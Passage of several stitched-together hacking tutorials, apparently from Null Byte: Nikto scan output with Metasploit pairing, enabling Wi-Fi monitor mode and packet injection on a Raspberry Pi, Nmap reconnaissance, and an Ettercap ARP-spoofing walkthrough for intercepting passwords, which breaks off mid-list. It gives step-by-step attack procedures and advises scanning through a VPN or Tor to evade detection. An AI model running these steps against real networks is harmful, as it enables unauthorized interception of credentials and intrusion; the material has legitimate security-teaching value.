'/sites/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + Entry '/search/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + Entry '*.mobileapp' in robots.txt returned a non-forbidden or redirect HTTP code (400) + Entry '*.liveradio' in robots.txt returned a non-forbidden or redirect HTTP code (400) + Entry '*.smartmobile' in robots.txt returned a non-forbidden or redirect HTTP code (400) + Entry '*.responsive' in robots.txt returned a non-forbidden or redirect HTTP code (400) + Entry '/stats?*/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + "robots.txt" contains 8 entries which should be manually viewed. + OSVDB-3092: /sitemap.xml: This gives a nice listing of the site content. + OSVDB-3092: /psql_history: This might be interesting... + OSVDB-3092: /global/: This might be interesting... + OSVDB-3092: /home/: This might be interesting... + OSVDB-3092: /news: This might be interesting... + OSVDB-3092: /search.vts: This might be interesting... + OSVDB-3092: /stats.htm: This might be interesting... + OSVDB-3092: /stats.txt: This might be interesting... + OSVDB-3092: /stats/: This might be interesting... + OSVDB-3092: /Stats/: This might be interesting... + OSVDB-3093: /.wwwacl: Contains authorization information + OSVDB-3093: /.www_acl: Contains authorization information + OSVDB-3093: /.htpasswd: Contains authorization information + OSVDB-3093: /.access: Contains authorization information + OSVDB-3093: /.addressbook: PINE addressbook, may store sensitive e-mail address contact information and notes + OSVDB-3093: /.bashrc: User home dir was found with a shell rc file. This may reveal file and path information. + OSVDB-3093: /.bash_history: A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web. + OSVDB-3093: /.forward: User home dir was found with a mail forward file. May reveal where the user's mail is being forwarded to. + OSVDB-3093: /.history: A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web. + OSVDB-3093: /.htaccess: Contains configuration and/or authorization information + OSVDB-3093: /.lynx_cookies: User home dir found with LYNX cookie file. May reveal cookies received from arbitrary web sites. + OSVDB-3093: /.mysql_history: Database SQL? + OSVDB-3093: /.passwd: Contains authorization information + OSVDB-3093: /.pinerc: User home dir found with a PINE rc file. May reveal system information, directories and more. + OSVDB-3093: /.plan: User home dir with a .plan, a now mostly outdated file for delivering information via the finger protocol + OSVDB-3093: /.proclog: User home dir with a Procmail rc file. May reveal mail traffic, directories and more. + OSVDB-3093: /.procmailrc: User home dir with a Procmail rc file. May reveal subdirectories, mail contacts and more. + OSVDB-3093: /.profile: User home dir with a shell profile was found. May reveal directory information and system configuration. + OSVDB-3093: /.rhosts: A user's home directory may be set to the web root, a .rhosts file was retrieved. This should not be accessible via the web. + OSVDB-3093: /.sh_history: A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web. + OSVDB-3093: /.ssh: A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web. + OSVDB-5709: /.nsconfig: Contains authorization information + /portal/changelog: Vignette richtext HTML editor changelog found. + 7587 requests: 4 error(s) and 55 item(s) reported on remote host + End Time: 2018-12-05 22:42:41 (GMT-8) (3249 seconds) --------------------------------------------------------------------------- + 1 host(s) testedAbove, we can see that there's a Varnish server and some headers that help indicate how the website is configured. However, the juicier stuff is the directories found which can help snag configuration files that may contain credentials or other things that have been misconfigured and left unintentionally accessible.The items with the OSVDB prefix are vulnerabilities reported in theOpen Source Vulnerability Database(a site that shut down in 2016). It's similar to other vulnerability databases such asSecurityFocus,Microsoft's Technet, andCommon Vulnerabilities and Exposures. I prefer to check out theNational Vulnerability Database.While there aren't any major things that can be exploited from this scan, if there was, you can use theCVE reference toolto translate the OSVDB identifier to a CVE entry, so you can use one of the other sites above to read more about the vulnerability.Let's say we found some worth exploring, such asCVE-2018-10933, aLibssh vulnerability we covered in detail previously. The CVE holds information about what can be exploited, what the severity score is (such as critical), and some other information that can help determine an attack vector. If it something worth using, you can searchMetasploit, as someone has already likely developed a weaponized module for it to exploit it more easily.Step 7: Pair Scans with MetasploitOne of the best things about Nikto is that you can actually export information into a format that Metasploit can read when you're performing a scan. To do, just use the commands above to perform the scan, but appending-Format msf+to the end of it. The format can help us quickly pair data retrieved with a weaponized exploit.nikto -h <IP or hostname> -Format msf+So, in this guide, we went from determining the target's surface area to finding a vulnerability and then pairing it with a weaponized exploit so we don't have to do all of the work. Since Nikto is not a stealthy tool, it's wise to perform these types of scans from a VPN, through Tor, or another type of service so that your real IP address is not flagged for suspicious behavior.Don't Miss:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootFollow Gadget Hacks onPinterest,Reddit,Twitter,YouTube, andFlipboardSign up forGadget Hacks' daily newsletteror weeklyAndroidandiOSupdatesFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Null ByteRelatedHack Like a Pro:How to Find Website Vulnerabilities Using WiktoAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHow To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Detect Vulnerabilities in a Web Application with UniscanHack Like a Pro:How to Scan for Vulnerabilities with NessusHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:Conduct Recon on a Web Target with Python ToolsHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHow To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Perform a Large-Scale Network Security Audit with OpenVAS's GSAHow To:Scan Websites for Vulnerabilities with ArachniHow To:13 QR Code Scanners That Won't Send You to Malicious Webpages on Your iPhoneHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHeartbleed Still Lingers:How to Check Your Android Device for VulnerabilitiesNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Top 10 Exploit Databases for Finding VulnerabilitiesHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal Logins
How to Enable Monitor Mode & Packet Injection on the Raspberry Pi « Null Byte :: WonderHowTo
TheRaspberry Pi Zero WandPi 3 Model B+include integrated Wi-Fi, Bluetooth Low Energy, and more than enough power to runKali Linux. They sound like perfect all-in-one penetration testing devices, but the lack of support for monitor mode and packet injection usually meantbuying a supported Wi-Fi adapter. Now, it's possible to use monitor mode on the built-in Wi-Fi chip with Nexmon.The Need for Packet Injection & Monitor ModeThere areplenty of reasonswhy the ability to put a wireless card in monitor mode would be useful. The wireless card in a Raspberry Pi isn't very good at doing much other than what's needed to establish a basic Wi-Fi connection.While some tools in Kali Linux may work with a card not supporting monitor mode, it's more common to find that a tool you want to run won't work without it. As a result, most hackers choose topurchase an external, USB-connected wireless network adapterthat allows more flexibility.Don't Miss:Check if Your Wireless Network Adapter Supports Monitor ModeImage by SADMIN/Null ByteIn the example above, the tiny Pi Zero W is controlling anAlfa AWUS036NHAantenna that's nearly twice its size. While impressive to control such a burly antenna with a tiny device, this huge footprint nearly defeats the purpose of using a Pi Zero W, unless you're trying to hide the Pi inside the antenna.The Pi Zero W Wireless CardTheRaspberry Pi Zero Wcontains the same Broadcom BCM43438 wireless chipset used by other Raspberry Pi models. The small chip contains a Wi-Fi radio, Bluetooth radio, and even has the ability to receive FM radio. In spite of these powerful abilities, the chip is incredibly small, allowing the one-inch Raspberry Pi Zero W to access Wi-Fi networks and use Bluetooth peripherals like keyboards or mice.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi HackingImage by SADMIN/Null ByteDue to how widespread the Broadcom BCM43438 is used, community interest in supporting monitor mode has been steadily growing since its introduction. In spite of this, the manufacturer never got around to officially supporting monitor mode, limiting the usefulness of the wireless cards inRaspberry Pidevices.What this means for a hacker is that if Wi-Fi hacking is involved, the Raspberry Pi as a platform must be considered as only one part of a complete system, including a secondary adapter that supports monitor mode and packet injection. In general, this is not too much of a trade-off, as the Pi's internal antenna is usually used as a "command and control" antenna that allows control of the more powerful "offensive" network adapter.Nexmon Community SupportWhile Broadcom never released a patch to enable monitor mode, the community eventually came through with one. TheNexmonproject is a firmware patch based in C for the Broadcom/Cypress chips in use within Raspberry Pi devices. One important note before using this patch is that because it's developed by the community, it doesn't come with the same kinds of assurances an official patch would as denoted by the warning on the Nexmon GitHub repo.WARNING: Our software may damage your hardware and may void your hardware's warranty! You use our tools at your own risk and responsibility! If you don't like these terms, don't use nexmon!—Nexmon GitHubIn spite of the stated warnings, Nexmon generally works very well on the cards that are supported. Nexmon goes beyond just supporting the chipset inside the Raspberry Pi and can be used to enable monitor mode in a variety of other wireless chips used in smartphones.Don't Miss:Stealing Wi-Fi Passwords with an Evil Twin AttackA list of chipsets supported by Nexmon.Image viaNexmon GitHubStep 1: Set Up Your Raspberry Pi with NexmonTo get started, you'll need a Raspberry Pi running Kali Linux with a chipset that's supported by Nexmon. Because all chipsets are supported as of this writing, this should work on any Raspberry Pi model. While we'll be covering the Raspberry Pi Zero W in this guide, you can follow along with any model of Pi.Don't Miss:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+Image by SADMIN/Null ByteOption 1: On a New Raspberry PiIn the first scenario, we'll set up a Pi Zero W that doesn't yet have Kali Linux installed. This is perfect if it's your first time setting up a Pi or otherwise working with a device that doesn't have data on it you want to save. If you have an existing Pi setup you want to add Nexmon to, I'll cover those instructions in the next option.On Amazon:CanaKit Raspberry Pi Zero W Complete Starter KitThe easiest way to enable monitor mode is to simply load a Kali image that already has Nexmon installed. One of my favorites is the Sticky Finger's Kali-Pi image, which can be installed on any kind of Raspberry Pi. To download the Sticky Finger's Kali-Pi image, select from the version that matches your model of Raspberry Pi:For ARMHF (Pi 2/3 B/B+)ARMEL (Pi 1/0/0W)When the image is downloaded, flash the image to the SD card of the Pi usingEtcher, one of the simplest ways of preparing your SD card. However, if you're running Windows, you can useWin32 Disk Imagerto put your image on the card. On a Mac, you can also write a bootable SD image via a terminal using the below instructions.Before plugging in your SD card, run the following in a terminal, which will display a list of all the disks attached to your system.df -hAttach your SD card and run the command again, and note the filesystem name of your SD card (it's the one that wasn't there before). It should look like /dev/disk2s1, and you should be very careful not to mix this up in the next steps since doing so could overwrite your hard drive.Now, you'll use theddcommand to load the Kali image onto the card. First, use the following command to unmount the partition so you can write to it, withXbeing the correct disk number.sudo diskutil unmount /dev/diskXNext, run the following command to load the image onto the SD card. If there is an "s" after the initial disk number (like rdisk2s1), do not include the "s" or following number. So, "rdisk2s1" should look like "rdisk2." Here's what it should look like all together:sudo dd bs=1m if=LocationOfKaliImage of=/dev/rdiskXPressenterto begin the process and note thatdddoes not provide any on-screen information unless there is an error or it finishes. To view the progress during the transfer, you can hitCtrl-T. Wait for the process to complete. You'll know the process is complete when you see a readout of bytes transferred over and the time the process ran.Once it's complete, load up your Pi with the SD card and make sure to follow our guide onsetting up your new Kali Linux installationand thetop 10 things to do after installing Kali Linux.Option 2: On an Existing Raspberry PiTo set up an existing Raspberry Pi, you'll need to eitherlog in via SSH, connect a monitor and keyboard to log in with, oruse a connected computer. Make sure your Pi is connected to a Wi-Fi network, and then open a terminal window.First, make sure you're root andchange directoryto the right place:sudo su cd /usr/local/srcAfter changing directory, download the current version of the Re4son kernel into the directory.wget -O re4son-kernel_current.tar.xz https://re4son-kernel.com/download/re4son-kernel-current/Next, extract the file downloaded with thetarcommand.tar -xJf re4son-kernel_current.tar.xzAfter the file is extracted, change directories into the directory just decompressed with:cd re4son-kernel_4*Finally, install the firmware patch by running theinstall.shprogram located inside../install.shAfter the installation process is complete, the Wi-Fi card on your Raspberry Pi should support monitor mode.Step 2: Test for Monitor Mode & Packet InjectionNow, try putting your card in to monitor mode. The Re4son kernel comes with its own utility for doing so, and you can use the following command to put the card into monitor mode.sudo mon0 upWhen this is complete, your mon0 interface should now be up and allow you to listen in on other Wi-Fi conversations as well as inject packets. You can confirm the card is in monitor mode by running the following command. You can pressCtrl-Cto stop the scan once you've seen the card is able to scan.airodump-ng mon0Next up, useAireplay-ngto test the ability of the Pi to inject packets. To do so, make sure you're in proximity to a Wi-Fi network to attempt packet injection on, then run the following command.Don't Miss:Detect Script-Kiddie Wi-Fi Jamming with Wiresharkaireplay-ng --test mon0If you see a result like below, then it means your Pi can support packet injection.aireplay-ng --test mon0 12:47:05 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE) on channel 7 12:47:05 Trying broadcast probe requests... 12:47:06 Injection is working! 12:47:07 Found 1 AP 12:47:07 Trying directed probe requests... 12:47:07 AA:BB:CC:DD:EE - channel: 7 - 'Dobis' 12:47:08 Ping (min/avg/max): 0.891ms/15.899ms/32.832ms Power: -21.72 12:47:08 29/30: 96%An All-in-One Wi-Fi Hacking PackageThe Raspberry Pi Zero W set the bar for a low-cost, ultra versatile single board computer, but the community support added by Nexmon allows a Pi Zero W to act as an all-in-one Wi-Fi hacking computer. While only having one card on the board means that you can't both control a Pi and attack using the same Wi-Fi card, there are plenty of other clever ways of connecting to a Pi, either by serial cable or Bluetooth, that can allow this configuration to be extremely useful.I hope you enjoyed this guide to adding monitor mode to the Raspberry Pi Zero W! If you have any questions about this tutorial on the Raspberry Pi Zero W or you have an issue about Raspberry Pis in general, feel free to comment below or reach me on [email protected]'t Miss:Disable Security Cameras on Any Wireless Network with Aireplay-ngFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo bySADMIN/Null ByteRelatedHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionRaspberry Pi:WiFi AnalyzerHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Share Wi-Fi Adapters Across a Network with Airserv-NgThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensHow To:Get Free Wi-Fi from Hotels & MoreHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Get Packet Injection Capable Drivers in LinuxHow To:Bypass a Local Network Proxy for Free Internet
Hacking Reconnaissance: Finding Vulnerabilities in Your Target Using Nmap « Null Byte :: WonderHowTo
Rememberthat sceneinThe Matrixwhen Trinity uses a realisticNmapport scan, followed by an actualSSH exploit(long since patched) to break into a power company? Well, believe it or not, but that scene isnotfar fetched at all.Please enable JavaScript to watch this video.If you want to exploit vulnerabilities and root boxes, you'll need to learn how to perform the necessary reconnaissance first. In fact, you will spend far more time researching your target then you will exploiting it. In this article, I am going to show you the first step in doing just that... a security scanner called Nmap.Port MappingAny service running on a server, from HTTP to SSH, runs on ports. Think of a port as a door into and out of the computer, that only answers requests relevant to it. An example would be a web server running on port 80 (HTTP), which would have no idea how to handle an FTP connection request sent to it.Nmap (NetworkMapper) scans over those ports telling you everything from what software is running to what version it is. There is even an option to determine the operating system.Before we get started, I do want to point out something critical. Port mapping, while not illegal on its own, will show up all over the place in targets' server logs. Using a (non-free) VPN or a anonymous network like I2P can help keep you safe and hidden.Getting Started with NmapIf you are runningBacktrack, you already have Nmap installed, along with its GUI version,Zenmap. Zenmap is nice, but we will be focusing on the command line options for Nmap in this article. On Debian/Ubuntu, simply use:$ sudo apt-get install nmapAny other distributions that do not already include Nmap may download ithere.To get a feel for the software, let's run it with zero options, to see what we can do.$ nmapAs you can see, there's a lot of options:While you could write entire books on the full functionality of Nmap (and they have), much of this is beyond the scope of this article. Instead, I will go over some of the more commonly used options. Hopefully this will serve to get your foot in the door with port scanning.Options, Flags and Settings: Oh MyThere is no doubting the sheer size of options here. Let's break it down with what scan techniques are the most useful for us right away.-sU:UDPscan. It can be combined with aTCPscan type such as SYN scan (-sS) to check both protocols during the same run. UDP tends to be slower then TCP scans, but some services are only listening for UDP requests.-sS: This technique is often referred to as half-open scanning, because you don't open a full TCP connection. You send a SYN packet. A SYN/ACK indicates the port is listening (open), while a RST (reset) means it is not listening on that port.-O: This technique crafts raw packets attempting to determine the operating system.-A: This technique tells Nmap to probe for software versions on the target ports AND operating systems.Nmap in ActionHere we will run a series of port scans on a target web server, making note of the versions and operating systems. Remember, reconnaissance and patience is key to hacking. Let's take a look at Nmap in action as we port scan a web server configured just for this article.$ nmap -sS -O 50.22.84.102Oops! What happened? The -O switch tells Nmap you wish to perform an operating system fingerprint on the target. In order to do that, Nmap needs to be ran with root privileges in order to craft the raw packets needed for the task. In fact, many scan types require it.$ sudo nmap -sS -O 50.22.84.10Here we can easily see this looks like a normal web server so far. Notice how Nmap attempts to guess the operating system? That's useful when you are looking for an attack vector to exploit.Open ports- This server is actively accepting TCP connections, UDP datagrams orSCTPassociations on this port. Finding these is often the primary goal of port scanning. Security-minded people know that each open port is an avenue for attack. Attackers and pen-testers want to exploit the open ports, while administrators try to close or protect them with firewalls without thwarting legitimate users. Open ports are also interesting for non-security scans because they show services available for use on the network.Closed ports- A closed port is accessible, but there is no application listening on it. They can be helpful in showing that a host is up on an IP address (host discovery or ping scanning), and as part of OS detection. Because closed ports are reachable, it may be worth scanning later in case some open up.Let's try another scan, but this time we want to find out what software is running behind those open ports.$ sudo nmap -sS -A 50.22.84.102Here you can see what software is running and what version. For an example, my web server here is running OpenSSH 4.3 on port 22. If I knew of a vulnerability in that version, I would know this server is exploitable.Final ThoughtsThis is by no means an all inclusive listing of everything Nmap has to offer. I tried to pick and choose the highly relevant portions to give you a feel for its capabilities. You can now add another tool to your ever growing arsenal.Questions? Comments? Concerns? Let's hear 'em!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImages byNmapRelatedHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:Easily Detect CVEs with Nmap ScriptsHow to Hack Databases:Hunting for Microsoft's SQL ServerHow To:The Five Phases of HackingHack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2Hack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)Hack Like a Pro:Advanced Nmap for ReconnaissanceHow To:Tactical Nmap for Beginner Network ReconnaissanceDissecting Nmap:Part 1Hack Like a Pro:How to Conduct Passive Reconnaissance of a Potential TargetAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHack Like a Pro:The Hacker MethodologyHow To:Automate Brute-Force Attacks for Nmap ScansHow To:Hack Apache Tomcat via Malicious WAR File UploadHow To:Identify Web Application Firewalls with Wafw00f & NmapHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHow To:Hack UnrealIRCd Using Python Socket ProgrammingMac for Hackers:How to Organize Your Tools by Pentest StagesHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHow To:Scan for Vulnerabilities on Any Website Using NiktoHow To:Advanced Penetration Testing - Part 1 (Introduction)How To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHow To:Detect Vulnerabilities in a Web Application with UniscanHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:Best Hacking Software
How to Use Ettercap to Intercept Passwords with ARP Spoofing « Null Byte :: WonderHowTo
ARP spoofing is an attack against an Ethernet or Wi-Fi network to get between the router and the target user. In an ARP-spoofing attack, messages meant for the target are sent to the attacker instead, allowing the attacker to spy on, deny service to, or man-in-the-middle a target. One of the most popular tools for performing this attack is Ettercap, which comes preinstalled onKali Linux.On a regular network, messages are routed over Ethernet or Wi-Fi by associating the MAC address of a connected device with the IP address used to identify it by the router. Usually, this happens via an address resolution protocol (ARP) message indicating which device's MAC address goes with which IP address. It lets the rest of the network know where to send traffic — but it can be easily spoofed to change the way traffic is routed.Don't Miss:Using Netdiscover & ARP to Find Internal IP & MAC AddressesIn an ARP-spoofing attack, a program like Ettercap will send spoofed messages attempting to get nearby devices to associate the hacker's MAC address with the IP address of the target. When successful, they're stored temporarily in a configuration setting on other network devices. If the rest of the network starts delivering packets intended for the target to the attacker instead, the attacker effectively controls the target's data connection.Types of ARP Spoofing AttacksThere can be three primary outcomes after an attacker gains initial success in poisoning the ARP cache of other hosts on the network:The attacker can spy on traffic.They can lurk in the shadows, seeing everything that the target user does on the network. It's pretty self-explanatory.The attacker can intercept and modify the packets in a man-in-the-middle attack.They can intercept passwords typed into an HTTP website, see DNS requests, and resolve IP addresses the target is navigating to in order to see what sites the target is visiting. In a man-in-the-middle attack, the attacker has the opportunity not only to see what's happening on the network but manipulate it as well. For instance, they can attempt to downgrade the encryption the connection is using by deliberately requesting insecure versions of webpages to make the attacker's job of sniffing passwords easier. Also, a hacker can simply be a nuisance. For example, they can replace words in the text of a website, flip or replace images, or modify other types of data flowing to and from the target.The attacker can drop the packets meant for the target to create a denial-of-service attack.This is possibly the most frustrating to a target. While aWi-Fi authentication attackis by far the more common cause of a Wi-Fi network being attacked, ARP spoofing can be much more challenging to figure out. If the attacker chooses not to forward on the packets now being sent to it instead of the target, the target will never receive them. The Wi-Fi network can be jammed from the inside, getting between the target and the router and then dropping the packets flowing between.Ettercap GraphicalOne of the most intriguing programs installed by default in Kali Linux is Ettercap. Unlike many of the programs that are command-line only, Ettercap features a graphical interface that's very beginner-friendly. While the results may sometimes vary, Ettercap is an excellent tool for newbies to get the hang of network attacks like ARP spoofing. If you don't already have it (like if you downloaded a light version of Kali), you can get it by typing the following into a terminal window.~# apt install ettercap-graphical Reading package lists... Done Building dependency tree Reading state information... Done ettercap-graphical is already the newest version (1:0.8.2-10+b2).Ettercap isn't the only tool for this, nor is it the most modern. Other tools, such asBettercap, claim to do what Ettercap does but more effectively. However, Ettercap proves useful enough to feature for our demonstration. The general workflow of an Ettercap ARP spoofing attack is to join a network you want to attack, locate hosts on the network, assign targets to a "targets" file, and then execute the attack on the targets.Don't Miss:How to Conduct a Simple Man-in-the-Middle AttackOnce we do all of that, we can figuratively watch over the target's shoulder as they browse the internet, and we can even kill the connection from websites we want to steer them away from. We can also run various payloads, like isolating a host from the rest of the network, denying them service by dropping all packets sent to them, or running scripts to attempt to downgrade the security of the connection.Step 1: Connect to the NetworkThe first step of ARP spoofing is to connect to the network you want to attack. If you're attacking an encrypted WEP, WPA, or WPA2 network, you'll need to know the password. This is because we're attacking the network internally, so we need to be able to see some information about the other hosts on the network and the data passing within it.You can connect to a network for ARP spoofing in two ways. The first is to connect via Ethernet, which is very effective but may not always be practical and is rarely subtle. Instead, many people prefer to usea wireless network adapterand perform the ARP spoofing over Wi-Fi.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi HackingStep 2: Start EttercapIn Kali, click on "Applications," then "Sniffing & Spoofing," followed by "ettercap-graphical." Alternatively, click on the "Show Applications" option in the dock, then search for and select "Ettercap."Once it starts up, you should find yourself on the Ettercap main screen. You'll see the spooky Ettercap logo, and a few drop-down menus to start the attack from. In the next step, we'll start exploring the "Sniff" menu.At this point, make sure you have an active connection to the network before you continue.Step 3: Select Network Interface to Sniff OnClick on the "Sniff" menu item, and then select "Unified sniffing." A new window will open asking you to select which network interface you want to sniff on. You should select the network interface that is currently connected to the network you're attacking.Now, you'll see some text confirming that sniffing has started, and you'll be able to access more advanced menu options such as Targets, Hosts, Mitm, Plugins, etc. Before we get started using any of them, we'll need to identify our target on the network.Step 4: Identify Hosts on a NetworkTo find the device we want to attack on the network, Ettercap has a few tricks up its sleeve. First, we can do a simple scan for hosts by clicking "Hosts," then "Scan for hosts." A scan will execute, and after it finishes, you can see the resulting hosts Ettercap has identified on the network by clicking "Hosts," then "Hosts list."We can now see a list of targets we've discovered on the network. Want to see what they're doing or narrow down the targets? Click on "View," then "Connections" to start snooping on connections.Don't Miss:How to Perform Situational Awareness AttacksOnce in theConnectionsview, you can filter the connections by IP address, type of connection, and whether the connection is open, closed, active, or killed. This gives you a lot of snooping power, which can be augmented by clicking the "View," then "Resolve IP addresses." This means Ettercap will try to resolve the IP addresses it sees other devices on the network connecting to.If you want to identify a target on a network and know what they're browsing, look over their shoulder at what website they're on, and match the website to an IP address with an active connection to the same website. Otherwise, you can usually tell by the MAC address, as you canlook it up onlineto see the manufacturer.Step 5: Select Hosts to Target with ARP SpoofingNow that we've identified our target's IP address, it's time to add them to a target list. Once we do this, we'll be telling Ettercap that we want to designate that IP address as one we want to pretend to be, so that we're receiving messages from the router that were meant to be sent to the target.Go back to the "Hosts" screen, and select the IP address of the target you want to target. Click the IP address to highlight it, then click on"Targets," followed by "Target list," to see a list of devices that have been targeted for ARP spoofing.Now, we can go to the "Mitm" menu to start our attack on this target.Step 6: Launch Attack on TargetsClick on the "Mitm" menu, and select "ARP poisoning." A popup will open, and you'll select "Sniff remote connections" to begin the sniffing attack.Once this attack has begun, you'll be able to intercept login credentials if the user you're targeting enters them into a website that doesn't use HTTPS. This could be a router or a device on the network or even a website that uses poor security.To try another attack, you can click on "Plugins," then "Load plugins," to show the plugin menu. If you select the DOS attack, it will begin dropping the packets sent to this target, cutting off their internet access.Step 7: Try Intercepting a PasswordNow, let's actually try intercepting a password. A website that's great for testing is aavtain.com, which deliberately uses bad security so that you can intercept credentials. On the target device, navigate toaavtrain.com. Once it loads, you'll see a login screen you can enter a fake login and password into.Enter a username and password, then hit "Submit." If Ettercap is successful, you should see the login and password you typed appear on the attacker's screen!In this result above, we can see that Ettercap successfully ARP poisoned the target and intercepted an HTTP login request the target was sending to an insecure website.ARP Poisoning Is a Powerful Tool with Some LimitationsThe major obvious limitation of ARP spoofing is that it only works if you're connected to a Wi-Fi network. This means it works on open networks but may not work well against networks that have more sophisticated monitoring or firewalls that may detect this sort of behavior.ARP spoofing attacks are another example of why it's so essential topick strong passwordsfor your networks and limit access to those you trust. You're giving away a lot of trust when you give someone your network password or an Ethernet connection, so remember to pick your passwords carefully and who you share them with.I hope you enjoyed this guide to using the graphical version of Ettercap for ARP poisoning attacks! If you have any questions about this tutorial on ARP poisoning or you have a comment, do so below, and feel free to reach me on [email protected]'t Miss:Prevent Your Network from Being ARP-Spoofed with shARPWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Hack LAN passwords with EttercapHow To:BeEF+Ettercap:Pwning MarriageTutorial:DNS SpoofingHow To:Advanced System Attacks - Total GuideHack Like a Pro:How to Hack Remote Desktop Protocol (RDP) to Snatch the Sysadmin PasswordHow To:Facebook Credentials RevisitedHow To:Hack SSL passwords with ARP poisoningHacking Pranks:How to Flip Photos, Change Images & Inject Messages into Friends' Browsers on Your Wi-Fi NetworkHow To:Hook Web Browsers with 